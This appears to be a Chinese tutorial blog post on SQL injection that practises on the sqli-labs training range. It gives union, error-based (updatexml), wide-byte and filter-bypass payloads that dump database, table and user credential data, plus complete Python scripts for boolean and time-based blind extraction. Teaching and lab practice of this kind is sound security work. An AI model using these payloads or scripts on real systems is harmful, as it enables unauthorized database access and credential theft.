赞
踩
作者:永不落的梦想
作者主页:传送
座右铭:过去属于死神,未来属于自己
本文专栏:Web漏洞篇
今日鸡汤:发光并非太阳的专利,你也可以发光
目录
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞可以访问或修改数据库数据,或者利用潜在的数据库漏洞进行攻击;
SQL注入是一种将SQL语句插入到用户的输入参数中、输入参数被数据库服务器解析执行的攻击方式;
任何客户端可控,传递到服务器的变量,并且与数据库进行交换,都可能存在SQL注入漏洞;
在处理程序和数据库交互时,直接拼接字符串构造SQL语句或未经严格过滤都将造成SQL注入漏洞;
①select [distinct] 字段名 [as 别名] from 表名 [where 查询条件] [group by 分组字段 having 分组后的查询条件] [order by 排序字段 desc/asc] [limit 分页参数]
②select 字段1,字段2 from 表名1 where 查询条件 union select 字段3,字段4 from 表名2
> | < |
>= | <= |
= | != |
and(&&) | or(||) |
like | in |
substr(str,start,len) | 返回str自start个字符起长len个字符的字符串 |
group_concat(str1,str2,……) | 返回多个字符串以逗号作为分隔拼接的字符串 |
concat(str1,str2,……) | 返回多个字符串拼接后的字符串 |
sleep(n) | 睡眠n秒钟 |
length(str) | 返回字符串长度 |
if(value,true,false) | value为真执行true、为假执行flase |
version() | 返回数据库版本信息 |
database() | 返回当前数据库名 |
user() | 返回用户名 |
current_user() | 返回当前用户名 |
system_user() | 返回系统用户名 |
@@datadir | 返回数据库安装路径 |
@@basedir | 返回MySQL安装路径 |
@@version_compile_os | 返回操作系统版本信息 |
information_schema数据库,记录了所有数据库的信息;
information_schema.schemata表,记录了所有数据库信息,其中schema_name字段为数据库名;
information_schema.tables表,记录了所有表信息,其中table_name字段为表名;
information_schema.columns表,记录了所有字段信息,其中column_name为字段名;
按数据类型分类 | |
数字型(不需要闭合) | 字符型(需要闭合) |
按注入方式分类 | |
联合注入 | 报错注入 |
时间盲注 | 布尔盲注 |
堆叠注入 | 宽字节注入 |
二次注入 | DNSlog注入 |
传参?id=1,查询正常;
传参?id=1',出现报错,分析''1'' LIMIT 0,1'可知,最外层单引号是页面回显自带的,即'1'' LIMIT 0,1才是SQL语句的内容,1左边多的一个单引号是用户输入的,因此'1'是单引号闭合;
传参?id=1' order by 4%23,出现报错(%23为注释符#的url编码,get用%23,post用#);
传参?id=1' order by 3%23,查询正常,说明查询字段数为3;
传参?id=0' union select 1,2,3%23,回显2和3,说明回显位是第二和第三位;
传参?id=0' union select 1,2,database()%23,可得当前数据库为security;
传参?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata %23,可得所有数据库名为information_schema和security;
传参?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23,可得当前数据库security的表名;
传参?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23,可得users表的字段名;
传参?id=0' union select 1,group_concat(username),group_concat(password) from users%23,可得users表的username和password字段的值;
原理
通过union关键字实现一条SQL语句查询两张表的数据并将查询到的数据以相同的格式返回;
注入场景
union、select、#等关键字未被过滤或者可以绕过过滤;
union前后两次查询的字段数一致;
有回显位;
注入流程
①构造闭合——输入' " # \等字符结合回显信息可判断闭合方式;
②使用order by确定查询字段数——order by 数字n表示按照第n个字段查询,当第n个字段不存在时会报错,以此可确定字段数 ;
③绕过union、select等关键字过滤——双写绕过、大小写绕过、/**/或()绕过空格等;
④确定显示位——使用union select 1,2,3……确定回显位,当回显记录数不足时需将union前的查询输入空查询或用limit分页查询或用group_concat()函数拼接,当回显长度数不足时使用substr()函数分块查询回显;
⑤查询数据库、表、字段名和数据;
原理
updatexml()等报错函数的第二个参数必需为Xpath格式否则报错,当第二个参数为SQL语句时,会执行SQL语句并将执行结果作为报错内容回显;
注入场景
页面无查询结果回显,但有SQL语句报错信息回显;
案例
传参?id=1,无查询数据回显;
传参?id=1',出现SQL语句报错信息;
由以上可判断,应使用报错注入,并且是单引号闭合,按以下传参查询数据:
- ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
- # 返回数据库名:security
- ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23
- # 返回表名:emails,referers,uagents,users
-
- ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)%23
- # 返回字段名:id,username,password
- ?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)%23
- # 返回查询数据:Dumb,Angelina,Dummy,secure
- # 此处报错回显长度不足,可以使用substr()函数分块回显
-
原理
页面只有代表True和False的回显时,通过or、and连接构造的判断语句根据回显True或False可一步一步确定查询数据的每一个字符,编写python脚本可快速返回查询数据;
注入场景
只有代表True和False的两种回显输出;
案例
无论输入什么只有以下两种回显,判断为布尔盲注;
通过简单测试构造闭合为1'#,编写python脚本查询数据,脚本中只需改变sql变量的SQL查询语句即可,布尔盲注python脚本如下:
- # 布尔盲注python脚本
-
- import requests
-
- url = 'http://sqli-labs/Less-8/' # 请求的url
- sql = 'select database()' # SQL查询语句,依次查询数据库名、表名、字段名、数据
- flag = '' # flag表示目标值
-
- for i in range(1, 100): # 假设flag长度为1-100
- left = 0 # 最小ASCII码
- right = 127 # 最大ASCII码
- mid = (left + right) // 2 # 使用二分法查找flag的每个字符的ASCII码
- while 1:
- payload = {'id': f"1' and ascii(substr(({sql}),{i},1))>{mid}#"}
- res = requests.get(url, params=payload)
- if 'You are in' in res.text: # 布尔盲注为True时的回显
- left = mid
- mid = (left + right) // 2
- else:
- right = mid
- mid = (left + right) // 2
- if mid == 1:
- break
- elif (right - left) <= 1:
- flag += chr(right) # 将查询到的ASCII码转字符拼接到flag中
- print(flag)
- break
- # 当查询字符串全部已输出时,substr返回空字符而mid最后值为1,以此作为结束循环的标志
- if mid == 1:
- print('已输出所有字符')
- break
- sql='select database()'时输出数据库名:security
-
- sql='select group_concat(table_name) from information_schema.tables where table_schema="security"'时输出表名:emails,referers,uagents,users
-
- …………略
原理
使用sleep()和if()函数构造payload,通过页面回显时间判断payload内的条件是否正确,进而确定查询数据的每一个字符;
注入场景
页面只有一种回显
案例
经测试,无论输入什么,页面都只有一种回显,可以判断为时间盲注,并且为单引号闭合;
时间盲注python脚本如下,只需改变sql变量的SQL查询语句即可:
- # 时间盲注python脚本
-
- import requests
- import time
-
- url = 'http://sqli-labs/Less-9/' # 请求的url
- sql = 'select database()' # SQL查询语句,依次查询数据库名、表名、字段名、数据
- flag = '' # flag表示目标值
-
- for i in range(1, 100): # 假设flag长度为1-100
- left = 0 # 最小ASCII码
- right = 127 # 最大ASCII码
- mid = (left + right) // 2 # 使用二分法查找flag的每个字符的ASCII码
- while 1:
- payload = {'id': f"1' and if(ascii(substr(({sql}),{i},1))>{mid},sleep(3),1)#"}
- time_start = time.time() # 记录发起请求时的时间
- res = requests.get(url, params=payload)
- if time.time()-time_start > 3: # 计算时间差,时间盲注为True时页面sleep(3)
- left = mid
- mid = (left + right) // 2
- else:
- right = mid
- mid = (left + right) // 2
- if mid == 1:
- break
- elif (right - left) <= 1:
- flag += chr(right) # 将查询到的ASCII码转字符拼接到flag中
- print(flag)
- break
- # 当查询字符串全部已输出时,substr返回空字符而mid最后值为1,以此作为结束循环的标志
- if mid == 1:
- print('已输出所有字符')
- break
时间盲注比较耗时间,特别是在网络状况不好的情况下需要将sleep时间设置大一点才能保证结果的正确性,这更加消耗时间;
时间盲注虽然只有一种回显,但是源代码不一定完全相同,可以找出其差异使用布尔盲注来提高效率;
原理
输入SQL语句结束符 ; 并且在结束符后插入新的SQL语句,导致服务器执行多条SQL语句,以此执行攻击者想执行的SQL语句;
注入场景
服务器使用了一次可执行多条SQL语句的函数连接数据库查询数据(如php中的mysqli_multi_query()函数);
原理
为防止SQL注入攻击,有时会对用户输入的单引号、双引号等特殊字符前加反斜杠 \ 转义,而在精心构造的payload中,加入的反斜杠 \ 与原引号前的字符组合成宽字节的汉字,反斜杠\的转义作用也就失效了,引号等字符可以正常起作用;
注入场景
数据库与php编码方式不同(如php使用utf-8编码、数据库使用GBK编码);
案例
输入单双引号都正常回显;
传参?id=1%df ',出现SQL语句报错,说明单引号其作用了,而%df与反斜杠\组合成了宽字节的汉字,可以确定为宽字节注入,并且是单引号闭合;
使用%df绕过反斜杠\转义,然后构造闭合正常注入即可;
原理
输入的恶意数据被防御机制转义不起作用,而存储到数据库的数据是未转义的恶意数据,当数据库下次查询恶意数据时造成SQL二次注入攻击;
注入场景
恶意数据在未被过滤或转义的情况下被存储到数据库;
DNSlog注入、quine注入等等;
使用注释符/**/、括号()、%0a等代替空格的作用、或updatexml注入不需要空格;
使用mid()、substring()函数代替substr(),使用benchmark()、笛卡尔积函数代替sleep(),使用case when语句代替if();
当select flag from flag查询为空时,可能是未指定数据库的原因,改为select flag from ctf.flag
使用like+通配符%或_代替;
大小写绕过、双写绕过、替换为符号(and->&&、or->||);
编码hex()或char()绕过、宽字节注入;
greatest()返回最大值、least()返回最小值;
前后同时闭合;
select group_concat('a','d','m','i','n') 等效于 admin;
SQL注入工具:sqlmap,SQL注入靶场:sqli-labs
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。